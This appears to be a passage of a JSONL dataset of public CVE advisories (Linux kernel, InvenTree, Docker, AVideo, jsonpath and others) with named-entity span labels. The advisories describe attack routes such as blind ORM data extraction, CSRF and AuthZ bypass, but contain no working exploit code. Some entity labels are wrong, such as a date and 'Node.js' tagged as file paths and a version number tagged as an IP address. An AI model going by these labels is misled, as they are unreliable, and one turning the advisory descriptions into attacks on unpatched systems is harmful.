/Devices/Data_": [[774, 788]], "FILEPATH: /cacti/host.php": [[892, 907]], "FILEPATH: /cacti/data_sources.php": [[977, 1000]], "FILEPATH: data_sources.php": [[372, 388]], "VULNERABILITY: stored XSS": [[647, 657]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39366"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: Fix input error path memory access\n\nWhen there is a misconfiguration of input state slow path\nKASAN report error. Fix this error.\nwest login:\n[   52.987278] eth1: renamed from veth11\n[   53.078814] eth1: renamed from veth21\n[   53.181355] eth1: renamed from veth31\n[   54.921702] ==================================================================\n[   54.922602] BUG: KASAN: wild-memory-access in xfrmi_rcv_cb+0x2d/0x295\n[   54.923393] Read of size 8 at addr 6b6b6b6b00000000 by task ping/512\n[   54.924169]\n[   54.924386] CPU: 0 PID: 512 Comm: ping Not tainted 6.9.0-08574-gcd29a4313a1b #25\n[   54.925290] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[   54.926401] Call Trace:\n[   54.926731]  <IRQ>\n[   54.927009]  dump_stack_lvl+0x2a/0x3b\n[   54.927478]  kasan_report+0x84/0xa6\n[   54.927930]  ? xfrmi_rcv_cb+0x2d/0x295\n[   54.928410]  xfrmi_rcv_cb+0x2d/0x295\n[   54.928872]  ? xfrm4_rcv_cb+0x3d/0x5e\n[   54.929354]  xfrm4_rcv_cb+0x46/0x5e\n[   54.929804]  xfrm_rcv_cb+0x7e/0xa1\n[   54.930240]  xfrm_input+0x1b3a/0x1b96\n[   54.930715]  ? xfrm_offload+0x41/0x41\n[   54.931182]  ? raw_rcv+0x292/0x292\n[   54.931617]  ? nf_conntrack_confirm+0xa2/0xa2\n[   54.932158]  ? skb_sec_path+0xd/0x3f\n[   54.932610]  ? xfrmi_input+0x90/0xce\n[   54.933066]  xfrm4_esp_rcv+0x33/0x54\n[   54.933521]  ip_protocol_deliver_rcu+0xd7/0x1b2\n[   54.934089]  ip_local_deliver_finish+0x110/0x120\n[   54.934659]  ? ip_protocol_deliver_rcu+0x1b2/0x1b2\n[   54.935248]  NF_HOOK.constprop.0+0xf8/0x138\n[   54.935767]  ? ip_sublist_rcv_finish+0x68/0x68\n[   54.936317]  ? secure_tcpv6_ts_off+0x23/0x168\n[   54.936859]  ? ip_protocol_deliver_rcu+0x1b2/0x1b2\n[   54.937454]  ? __xfrm_policy_check2.constprop.0+0x18d/0x18d\n[   54.938135]  NF_HOOK.constprop.0+0xf8/0x138\n[   54.938663]  ? ip_sublist_rcv_finish+0x68/0x68\n[   54.939220]  ? __xfrm_policy_check2.constprop.0+0x18d/0x18d\n[   54.939904]  ? ip_local_deliver_finish+0x120/0x120\n[   54.940497]  __netif_receive_skb_one_core+0xc9/0x107\n[   54.941121]  ? __netif_receive_skb_list_core+0x1c2/0x1c2\n[   54.941771]  ? blk_mq_start_stopped_hw_queues+0xc7/0xf9\n[   54.942413]  ? blk_mq_start_stopped_hw_queue+0x38/0x38\n[   54.943044]  ? virtqueue_get_buf_ctx+0x295/0x46b\n[   54.943618]  process_backlog+0xb3/0x187\n[   54.944102]  __napi_poll.constprop.0+0x57/0x1a7\n[   54.944669]  net_rx_action+0x1cb/0x380\n[   54.945150]  ? __napi_poll.constprop.0+0x1a7/0x1a7\n[   54.945744]  ? vring_new_virtqueue+0x17a/0x17a\n[   54.946300]  ? note_interrupt+0x2cd/0x367\n[   54.946805]  handle_softirqs+0x13c/0x2c9\n[   54.947300]  do_softirq+0x5f/0x7d\n[   54.947727]  </IRQ>\n[   54.948014]  <TASK>\n[   54.948300]  __local_bh_enable_ip+0x48/0x62\n[   54.948832]  __neigh_event_send+0x3fd/0x4ca\n[   54.949361]  neigh_resolve_output+0x1e/0x210\n[   54.949896]  ip_finish_output2+0x4bf/0x4f0\n[   54.950410]  ? __ip_finish_output+0x171/0x1b8\n[   54.950956]  ip_send_skb+0x25/0x57\n[   54.951390]  raw_sendmsg+0xf95/0x10c0\n[   54.951850]  ? check_new_pages+0x45/0x71\n[   54.952343]  ? raw_hash_sk+0x21b/0x21b\n[   54.952815]  ? kernel_init_pages+0x42/0x51\n[   54.953337]  ? prep_new_page+0x44/0x51\n[   54.953811]  ? get_page_from_freelist+0x72b/0x915\n[   54.954390]  ? signal_pending_state+0x77/0x77\n[   54.954936]  ? preempt_count_sub+0x14/0xb3\n[   54.955450]  ? __might_resched+0x8a/0x240\n[   54.955951]  ? __might_sleep+0x25/0xa0\n[   54.956424]  ? first_zones_zonelist+0x2c/0x43\n[   54.956977]  ? __rcu_read_lock+0x2d/0x3a\n[   54.957476]  ? __pte_offset_map+0x32/0xa4\n[   54.957980]  ? __might_resched+0x8a/0x240\n[   54.958483]  ? __might_sleep+0x25/0xa0\n[   54.958963]  ? inet_send_prepare+0x54/0x54\n[   54.959478]  ? sock_sendmsg_nosec+0x42/0x6c\n[   54.960000]  sock_sendmsg_nosec+0x42/0x6c\n[   54.960502]  __sys_sendto+0x15d/0x1cc\n[   54.960966]  ? __x64_sys_getpeername+0x44/0x44\n[   54.961522]  ? __handle_mm_fault+0x679/0xae4\n[   54.962068]  ? find_vma+0x6b/0x\n---truncated---", "spans": {"FILEPATH: /01/2014": [[763, 771]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[696, 700]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43878"}}
{"text": "InvenTree is an Open Source Inventory Management System. Prior to version 1.2.6, certain API endpoints associated with bulk data operations can be hijacked to exfiltrate sensitive information from the database. The bulk operation API endpoints (e.g. `/api/part/`, `/api/stock/`, `/api/order/so/allocation/`, and others) accept a filters parameter that is passed directly to Django's ORM queryset.filter(**filters) without any field allowlisting. This enables any authenticated user to traverse model relationships using Django's __ lookup syntax and perform blind boolean-based data extraction. This issue is patched in version 1.2.6, and 1.3.0 (or above). Users should update to the patched versions. No known workarounds are available.", "spans": {"FILEPATH: /api/part": [[251, 260]], "FILEPATH: /api/stock": [[265, 275]], "FILEPATH: /api/order/so/allocation": [[280, 304]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33530"}}
{"text": "ImageMagick is free software delivered as a ready-to-run binary distribution or as source code that you may use, copy, modify, and distribute in both open and proprietary applications. In affected versions and in certain cases, Postscript files could be read and written when specifically excluded by a `module` policy in `policy.xml`. ex. <policy domain=\"module\" rights=\"none\" pattern=\"PS\" />. The issue has been resolved in ImageMagick 7.1.0-7 and in 6.9.12-22. Fortunately, in the wild, few users utilize the `module` policy and instead use the `coder` policy that is also our workaround recommendation: <policy domain=\"coder\" rights=\"none\" pattern=\"{PS,EPI,EPS,EPSF,EPSI}\" />.", "spans": {"FILEPATH: policy.xml": [[323, 333]], "SYSTEM: ImageMagick": [[0, 11], [426, 437]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39212"}}
{"text": "Versions of the package jsonpath before 1.3.0 are vulnerable to Arbitrary Code Injection via unsafe evaluation of user-supplied JSON Path expressions. The library relies on the static-eval module to process JSON Path input, which is not designed to handle untrusted data safely. An attacker can exploit this vulnerability by supplying a malicious JSON Path expression that, when evaluated, executes arbitrary JavaScript code, leading to Remote Code Execution in Node.js environments or Cross-site Scripting (XSS) in browser contexts. This affects all methods that evaluate JSON Paths against objects, including .query, .nodes, .paths, .value, .parent, and .apply.", "spans": {"FILEPATH: Node.js": [[462, 469]], "VULNERABILITY: Remote Code Execution": [[437, 458]], "VULNERABILITY: Cross-site Scripting": [[486, 506]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-1615"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/uffd: fix pte marker when fork() without fork event\n\nPatch series \"mm: Fixes on pte markers\".\n\nPatch 1 resolves the syzkiller report from Pengfei.\n\nPatch 2 further harden pte markers when used with the recent swapin error\nmarkers.  The major case is we should persist a swapin error marker after\nfork(), so child shouldn't read a corrupted page.\n\n\nThis patch (of 2):\n\nWhen fork(), dst_vma is not guaranteed to have VM_UFFD_WP even if src may\nhave it and has pte marker installed.  The warning is improper along with\nthe comment.  The right thing is to inherit the pte marker when needed, or\nkeep the dst pte empty.\n\nA vague guess is this happened by an accident when there's the prior patch\nto introduce src/dst vma into this helper during the uffd-wp feature got\ndeveloped and I probably messed up in the rebase, since if we replace\ndst_vma with src_vma the warning & comment it all makes sense too.\n\nHugetlb did exactly the right here (copy_hugetlb_page_range()).  Fix the\ngeneral path.\n\nReproducer:\n\nhttps://github.com/xupengfe/syzkaller_logs/blob/main/221208_115556_copy_page_range/repro.c\n\nBugzilla report: https://bugzilla.kernel.org/show_bug.cgi?id=216808", "spans": {"URL: https://github.com/xupengfe/syzkaller_logs/blob/main/221208_115556_copy_page_range/repro.c": [[1075, 1165]], "URL: https://bugzilla.kernel.org/show_bug.cgi?id=216808": [[1184, 1234]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49744"}}
{"text": "A vulnerability in multiple Atlassian products allows a remote, unauthenticated attacker to cause additional Servlet Filters to be invoked when the application processes requests or responses. Atlassian has confirmed and fixed the only known security issue associated with this vulnerability: Cross-origin resource sharing (CORS) bypass. Sending a specially crafted HTTP request can invoke the Servlet Filter used to respond to CORS requests, resulting in a CORS bypass. An attacker that can trick a user into requesting a malicious URL can access the vulnerable application with the victim’s permissions. Atlassian Bamboo versions are affected before 8.0.9, from 8.1.0 before 8.1.8, and from 8.2.0 before 8.2.4. Atlassian Bitbucket versions are affected before 7.6.16, from 7.7.0 before 7.17.8, from 7.18.0 before 7.19.5, from 7.20.0 before 7.20.2, from 7.21.0 before 7.21.2, and versions 8.0.0 and 8.1.0. Atlassian Confluence versions are affected before 7.4.17, from 7.5.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and version 7.21.0. Atlassian Crowd versions are affected before 4.3.8, from 4.4.0 before 4.4.2, and version 5.0.0. Atlassian Fisheye and Crucible versions before 4.8.10 are affected. Atlassian Jira versions are affected before 8.13.22, from 8.14.0 before 8.20.10, and from 8.21.0 before 8.22.4. Atlassian Jira Service Management versions are affected before 4.13.22, from 4.14.0 before 4.20.10, and from 4.21.0 before 4.22.4.", "spans": {"ORGANIZATION: Atlassian": [[28, 37], [193, 202], [606, 615], [713, 722], [907, 916], [1119, 1128], [1215, 1224], [1283, 1292], [1395, 1404]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-26137"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv4: fix route with nexthop object delete warning\n\nFRR folks have hit a kernel warning[1] while deleting routes[2] which is\ncaused by trying to delete a route pointing to a nexthop id without\nspecifying nhid but matching on an interface. That is, a route is found\nbut we hit a warning while matching it. The warning is from\nfib_info_nh() in include/net/nexthop.h because we run it on a fib_info\nwith nexthop object. The call chain is:\n inet_rtm_delroute -> fib_table_delete -> fib_nh_match (called with a\nnexthop fib_info and also with fc_oif set thus calling fib_info_nh on\nthe fib_info and triggering the warning). The fix is to not do any\nmatching in that branch if the fi has a nexthop object because those are\nmanaged separately. I.e. we should match when deleting without nh spec and\nshould fail when deleting a nexthop route with old-style nh spec because\nnexthop objects are managed separately, e.g.:\n $ ip r show 1.2.3.4/32\n 1.2.3.4 nhid 12 via 192.168.11.2 dev dummy0\n\n $ ip r del 1.2.3.4/32\n $ ip r del 1.2.3.4/32 nhid 12\n <both should work>\n\n $ ip r del 1.2.3.4/32 dev dummy0\n <should fail with ESRCH>\n\n[1]\n [  523.462226] ------------[ cut here ]------------\n [  523.462230] WARNING: CPU: 14 PID: 22893 at include/net/nexthop.h:468 fib_nh_match+0x210/0x460\n [  523.462236] Modules linked in: dummy rpcsec_gss_krb5 xt_socket nf_socket_ipv4 nf_socket_ipv6 ip6table_raw iptable_raw bpf_preload xt_statistic ip_set ip_vs_sh ip_vs_wrr ip_vs_rr ip_vs xt_mark nf_tables xt_nat veth nf_conntrack_netlink nfnetlink xt_addrtype br_netfilter overlay dm_crypt nfsv3 nfs fscache netfs vhost_net vhost vhost_iotlb tap tun xt_CHECKSUM xt_MASQUERADE xt_conntrack 8021q garp mrp ipt_REJECT nf_reject_ipv4 ip6table_mangle ip6table_nat iptable_mangle iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bridge stp llc rfcomm snd_seq_dummy snd_hrtimer rpcrdma rdma_cm iw_cm ib_cm ib_core ip6table_filter xt_comment ip6_tables vboxnetadp(OE) vboxnetflt(OE) vboxdrv(OE) qrtr bnep binfmt_misc xfs vfat fat squashfs loop nvidia_drm(POE) nvidia_modeset(POE) nvidia_uvm(POE) nvidia(POE) intel_rapl_msr intel_rapl_common snd_hda_codec_realtek snd_hda_codec_generic ledtrig_audio snd_hda_codec_hdmi btusb btrtl iwlmvm uvcvideo btbcm snd_hda_intel edac_mce_amd\n [  523.462274]  videobuf2_vmalloc videobuf2_memops btintel snd_intel_dspcfg videobuf2_v4l2 snd_intel_sdw_acpi bluetooth snd_usb_audio snd_hda_codec mac80211 snd_usbmidi_lib joydev snd_hda_core videobuf2_common kvm_amd snd_rawmidi snd_hwdep snd_seq videodev ccp snd_seq_device libarc4 ecdh_generic mc snd_pcm kvm iwlwifi snd_timer drm_kms_helper snd cfg80211 cec soundcore irqbypass rapl wmi_bmof i2c_piix4 rfkill k10temp pcspkr acpi_cpufreq nfsd auth_rpcgss nfs_acl lockd grace sunrpc drm zram ip_tables crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel nvme sp5100_tco r8169 nvme_core wmi ipmi_devintf ipmi_msghandler fuse\n [  523.462300] CPU: 14 PID: 22893 Comm: ip Tainted: P           OE     5.16.18-200.fc35.x86_64 #1\n [  523.462302] Hardware name: Micro-Star International Co., Ltd. MS-7C37/MPG X570 GAMING EDGE WIFI (MS-7C37), BIOS 1.C0 10/29/2020\n [  523.462303] RIP: 0010:fib_nh_match+0x210/0x460\n [  523.462304] Code: 7c 24 20 48 8b b5 90 00 00 00 e8 bb ee f4 ff 48 8b 7c 24 20 41 89 c4 e8 ee eb f4 ff 45 85 e4 0f 85 2e fe ff ff e9 4c ff ff ff <0f> 0b e9 17 ff ff ff 3c 0a 0f 85 61 fe ff ff 48 8b b5 98 00 00 00\n [  523.462306] RSP: 0018:ffffaa53d4d87928 EFLAGS: 00010286\n [  523.462307] RAX: 0000000000000000 RBX: ffffaa53d4d87a90 RCX: ffffaa53d4d87bb0\n [  523.462308] RDX: ffff9e3d2ee6be80 RSI: ffffaa53d4d87a90 RDI: ffffffff920ed380\n [  523.462309] RBP: ffff9e3d2ee6be80 R08: 0000000000000064 R09: 0000000000000000\n [  523.462310] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000031\n [  523.462310] R13: 0000000000000020 R14: 0000000000000000 R15: ffff9e3d331054e0\n [  523.462311] FS:  00007f2455\n---truncated---", "spans": {"IP_ADDRESS: 1.2.3.4": [[997, 1004], [1009, 1016], [1066, 1073], [1089, 1096], [1141, 1148]], "IP_ADDRESS: 192.168.11.2": [[1029, 1041]], "FILEPATH: /net/nexthop.h": [[423, 437], [1301, 1315]], "FILEPATH: /29/2020": [[3205, 3213]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49092"}}
{"text": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoder_execute() in src/lib/OpenEXRCore/internal_dwa_decoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8_t * row pointer to float * and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.", "spans": {"FILEPATH: /lib/OpenEXRCore/internal_dwa_decoder.h": [[273, 312]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34379"}}
{"text": "Cygwin Git is a patch set for the git command line tool for the cygwin environment. A specially crafted repository that contains symbolic links as well as files with backslash characters in the file name may cause just-checked out code to be executed while checking out a repository using Git on Cygwin. The problem will be patched in the Cygwin Git v2.31.1-2 release. At time of writing, the vulnerability is present in the upstream Git source code; any Cygwin user who compiles Git for themselves from upstream sources should manually apply a patch to mitigate the vulnerability. As mitigation users should not clone or pull from repositories from untrusted sources. CVE-2019-1354 was an equivalent vulnerability in Git for Visual Studio.", "spans": {"CVE_ID: CVE-2019-1354": [[669, 682]], "SYSTEM: Visual Studio": [[726, 739]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29468"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: honor table dormant flag from netdev release event path\n\nCheck for table dormant flag otherwise netdev release event path tries\nto unregister an already unregistered hook.\n\n[524854.857999] ------------[ cut here ]------------\n[524854.858010] WARNING: CPU: 0 PID: 3386599 at net/netfilter/core.c:501 __nf_unregister_net_hook+0x21a/0x260\n[...]\n[524854.858848] CPU: 0 PID: 3386599 Comm: kworker/u32:2 Not tainted 6.9.0-rc3+ #365\n[524854.858869] Workqueue: netns cleanup_net\n[524854.858886] RIP: 0010:__nf_unregister_net_hook+0x21a/0x260\n[524854.858903] Code: 24 e8 aa 73 83 ff 48 63 43 1c 83 f8 01 0f 85 3d ff ff ff e8 98 d1 f0 ff 48 8b 3c 24 e8 8f 73 83 ff 48 63 43 1c e9 26 ff ff ff <0f> 0b 48 83 c4 18 48 c7 c7 00 68 e9 82 5b 5d 41 5c 41 5d 41 5e 41\n[524854.858914] RSP: 0018:ffff8881e36d79e0 EFLAGS: 00010246\n[524854.858926] RAX: 0000000000000000 RBX: ffff8881339ae790 RCX: ffffffff81ba524a\n[524854.858936] RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff8881c8a16438\n[524854.858945] RBP: ffff8881c8a16438 R08: 0000000000000001 R09: ffffed103c6daf34\n[524854.858954] R10: ffff8881e36d79a7 R11: 0000000000000000 R12: 0000000000000005\n[524854.858962] R13: ffff8881c8a16000 R14: 0000000000000000 R15: ffff8881351b5a00\n[524854.858971] FS:  0000000000000000(0000) GS:ffff888390800000(0000) knlGS:0000000000000000\n[524854.858982] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[524854.858991] CR2: 00007fc9be0f16f4 CR3: 00000001437cc004 CR4: 00000000001706f0\n[524854.859000] Call Trace:\n[524854.859006]  <TASK>\n[524854.859013]  ? __warn+0x9f/0x1a0\n[524854.859027]  ? __nf_unregister_net_hook+0x21a/0x260\n[524854.859044]  ? report_bug+0x1b1/0x1e0\n[524854.859060]  ? handle_bug+0x3c/0x70\n[524854.859071]  ? exc_invalid_op+0x17/0x40\n[524854.859083]  ? asm_exc_invalid_op+0x1a/0x20\n[524854.859100]  ? __nf_unregister_net_hook+0x6a/0x260\n[524854.859116]  ? __nf_unregister_net_hook+0x21a/0x260\n[524854.859135]  nf_tables_netdev_event+0x337/0x390 [nf_tables]\n[524854.859304]  ? __pfx_nf_tables_netdev_event+0x10/0x10 [nf_tables]\n[524854.859461]  ? packet_notifier+0xb3/0x360\n[524854.859476]  ? _raw_spin_unlock_irqrestore+0x11/0x40\n[524854.859489]  ? dcbnl_netdevice_event+0x35/0x140\n[524854.859507]  ? __pfx_nf_tables_netdev_event+0x10/0x10 [nf_tables]\n[524854.859661]  notifier_call_chain+0x7d/0x140\n[524854.859677]  unregister_netdevice_many_notify+0x5e1/0xae0", "spans": {"FILEPATH: /netfilter/core.c": [[368, 385]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36005"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64/fpsimd: ptrace: Fix SVE writes on !SME systems\n\nWhen SVE is supported but SME is not supported, a ptrace write to the\nNT_ARM_SVE regset can place the tracee into an invalid state where\n(non-streaming) SVE register data is stored in FP_STATE_SVE format but\nTIF_SVE is clear. This can result in a later warning from\nfpsimd_restore_current_state(), e.g.\n\n  WARNING: CPU: 0 PID: 7214 at arch/arm64/kernel/fpsimd.c:383 fpsimd_restore_current_state+0x50c/0x748\n\nWhen this happens, fpsimd_restore_current_state() will set TIF_SVE,\nplacing the task into the correct state. This occurs before any other\ncheck of TIF_SVE can possibly occur, as other checks of TIF_SVE only\nhappen while the FPSIMD/SVE/SME state is live. Thus, aside from the\nwarning, there is no functional issue.\n\nThis bug was introduced during rework to error handling in commit:\n\n  9f8bf718f2923 (\"arm64/fpsimd: ptrace: Gracefully handle errors\")\n\n... where the setting of TIF_SVE was moved into a block which is only\nexecuted when system_supports_sme() is true.\n\nFix this by removing the system_supports_sme() check. This ensures that\nTIF_SVE is set for (SVE-formatted) writes to NT_ARM_SVE, at the cost of\nunconditionally manipulating the tracee's saved svcr value. The\nmanipulation of svcr is benign and inexpensive, and we already do\nsimilar elsewhere (e.g. during signal handling), so I don't think it's\nworth guarding this with system_supports_sme() checks.\n\nAside from the above, there is no functional change. The 'type' argument\nto sve_set_common() is only set to ARM64_VEC_SME (in ssve_set())) when\nsystem_supports_sme(), so the ARM64_VEC_SME case in the switch statement\nis still unreachable when !system_supports_sme(). When\nCONFIG_ARM64_SME=n, the only caller of sve_set_common() is sve_set(),\nand the compiler can constant-fold for the case where type is\nARM64_VEC_SVE, removing the logic for other cases.", "spans": {"FILEPATH: /arm64/kernel/fpsimd.c": [[462, 484]], "FILEPATH: /SVE/SME": [[761, 769]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23114"}}
{"text": "Apache Software Foundation Apache Submarine has an SQL injection vulnerability when a user logs in. This issue can result in unauthorized login.\nNow we have fixed this issue and now user must have the correct login to access workbench.\nThis issue affects Apache Submarine: from 0.7.0 before 0.8.0. We recommend that all submarine users with 0.7.0 upgrade to 0.8.0, which not only fixes the issue, supports the oidc authentication mode, but also removes the case of unauthenticated logins.\nIf using the version lower than 0.8.0 and not want to upgrade, you can try cherry-pick PR  https://github.com/apache/submarine/pull/1037 https://github.com/apache/submarine/pull/1054  and rebuild the submarine-server image to fix this.", "spans": {"URL: https://github.com/apache/submarine/pull/1037": [[580, 625]], "URL: https://github.com/apache/submarine/pull/1054": [[626, 671]], "ORGANIZATION: Apache": [[0, 6], [27, 33], [255, 261]], "VULNERABILITY: SQL injection": [[51, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37924"}}
{"text": "Reflected XSS in Quest Policy Authority 8.1.2.200 allows remote attackers to inject malicious code into the browser via a specially crafted link to the /WebCM/index.jsp file via the msg parameter. NOTE: This vulnerability only affects products that are no longer supported by the maintainer", "spans": {"IP_ADDRESS: 8.1.2.200": [[40, 49]], "FILEPATH: /WebCM/index.jsp": [[152, 168]], "VULNERABILITY: Reflected XSS": [[0, 13]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35725"}}
{"text": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.", "spans": {"HASH: f9492f5e6123dff0292d5bb3164fde7665dc36b4": [[756, 796]], "FILEPATH: configurationUpdate.json": [[83, 107]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40925"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: gpio-keys - cancel delayed work only in case of GPIO\n\ngpio_keys module can either accept gpios or interrupts. The module\ninitializes delayed work in case of gpios only and is only used if\ndebounce timer is not used, so make sure cancel_delayed_work_sync()\nis called only when its gpio-backed and debounce_use_hrtimer is false.\n\nThis fixes the issue seen below when the gpio_keys module is unloaded and\nan interrupt pin is used instead of GPIO:\n\n[  360.297569] ------------[ cut here ]------------\n[  360.302303] WARNING: CPU: 0 PID: 237 at kernel/workqueue.c:3066 __flush_work+0x414/0x470\n[  360.310531] Modules linked in: gpio_keys(-)\n[  360.314797] CPU: 0 PID: 237 Comm: rmmod Not tainted 5.18.0-rc5-arm64-renesas-00116-g73636105874d-dirty #166\n[  360.324662] Hardware name: Renesas SMARC EVK based on r9a07g054l2 (DT)\n[  360.331270] pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[  360.338318] pc : __flush_work+0x414/0x470\n[  360.342385] lr : __cancel_work_timer+0x140/0x1b0\n[  360.347065] sp : ffff80000a7fba00\n[  360.350423] x29: ffff80000a7fba00 x28: ffff000012b9c5c0 x27: 0000000000000000\n[  360.357664] x26: ffff80000a7fbb80 x25: ffff80000954d0a8 x24: 0000000000000001\n[  360.364904] x23: ffff800009757000 x22: 0000000000000000 x21: ffff80000919b000\n[  360.372143] x20: ffff00000f5974e0 x19: ffff00000f5974e0 x18: ffff8000097fcf48\n[  360.379382] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000053f40\n[  360.386622] x14: ffff800009850e88 x13: 0000000000000002 x12: 000000000000a60c\n[  360.393861] x11: 000000000000a610 x10: 0000000000000000 x9 : 0000000000000008\n[  360.401100] x8 : 0101010101010101 x7 : 00000000a473c394 x6 : 0080808080808080\n[  360.408339] x5 : 0000000000000001 x4 : 0000000000000000 x3 : ffff80000919b458\n[  360.415578] x2 : ffff8000097577f0 x1 : 0000000000000001 x0 : 0000000000000000\n[  360.422818] Call trace:\n[  360.425299]  __flush_work+0x414/0x470\n[  360.429012]  __cancel_work_timer+0x140/0x1b0\n[  360.433340]  cancel_delayed_work_sync+0x10/0x18\n[  360.437931]  gpio_keys_quiesce_key+0x28/0x58 [gpio_keys]\n[  360.443327]  devm_action_release+0x10/0x18\n[  360.447481]  release_nodes+0x8c/0x1a0\n[  360.451194]  devres_release_all+0x90/0x100\n[  360.455346]  device_unbind_cleanup+0x14/0x60\n[  360.459677]  device_release_driver_internal+0xe8/0x168\n[  360.464883]  driver_detach+0x4c/0x90\n[  360.468509]  bus_remove_driver+0x54/0xb0\n[  360.472485]  driver_unregister+0x2c/0x58\n[  360.476462]  platform_driver_unregister+0x10/0x18\n[  360.481230]  gpio_keys_exit+0x14/0x828 [gpio_keys]\n[  360.486088]  __arm64_sys_delete_module+0x1e0/0x270\n[  360.490945]  invoke_syscall+0x40/0xf8\n[  360.494661]  el0_svc_common.constprop.3+0xf0/0x110\n[  360.499515]  do_el0_svc+0x20/0x78\n[  360.502877]  el0_svc+0x48/0xf8\n[  360.505977]  el0t_64_sync_handler+0x88/0xb0\n[  360.510216]  el0t_64_sync+0x148/0x14c\n[  360.513930] irq event stamp: 4306\n[  360.517288] hardirqs last  enabled at (4305): [<ffff8000080b0300>] __cancel_work_timer+0x130/0x1b0\n[  360.526359] hardirqs last disabled at (4306): [<ffff800008d194fc>] el1_dbg+0x24/0x88\n[  360.534204] softirqs last  enabled at (4278): [<ffff8000080104a0>] _stext+0x4a0/0x5e0\n[  360.542133] softirqs last disabled at (4267): [<ffff8000080932ac>] irq_exit_rcu+0x18c/0x1b0\n[  360.550591] ---[ end trace 0000000000000000 ]---", "spans": {"FILEPATH: workqueue.c": [[623, 634]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49430"}}
{"text": "Moby is an open-source project created by Docker for software containerization. A security vulnerability has been detected in certain versions of Docker Engine, which could allow an attacker to bypass authorization plugins (AuthZ) under specific circumstances. The base likelihood of this being exploited is low.\n\nUsing a specially-crafted API request, an Engine API client could make the daemon forward the request or response to an authorization plugin without the body. In certain circumstances, the authorization plugin may allow a request which it would have otherwise denied if the body had been forwarded to it.\n\nA security issue was discovered In 2018, where an attacker could bypass AuthZ plugins using a specially crafted API request. This could lead to unauthorized actions, including privilege escalation. Although this issue was fixed in Docker Engine v18.09.1 in January 2019, the fix was not carried forward to later major versions, resulting in a regression. Anyone who depends on authorization plugins that introspect the request and/or response body to make access control decisions is potentially impacted.\n\nDocker EE v19.03.x and all versions of Mirantis Container Runtime are not vulnerable.\n\ndocker-ce v27.1.1 containes patches to fix the vulnerability. Patches have also been merged into the master, 19.03, 20.0, 23.0, 24.0, 25.0, 26.0, and 26.1 release branches. If one is unable to upgrade immediately, avoid using AuthZ plugins and/or restrict access to the Docker API to trusted parties, following the principle of least privilege.", "spans": {"ORGANIZATION: Docker": [[42, 48], [146, 152], [851, 857], [1127, 1133], [1484, 1490]], "VULNERABILITY: privilege escalation": [[796, 816]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41110"}}
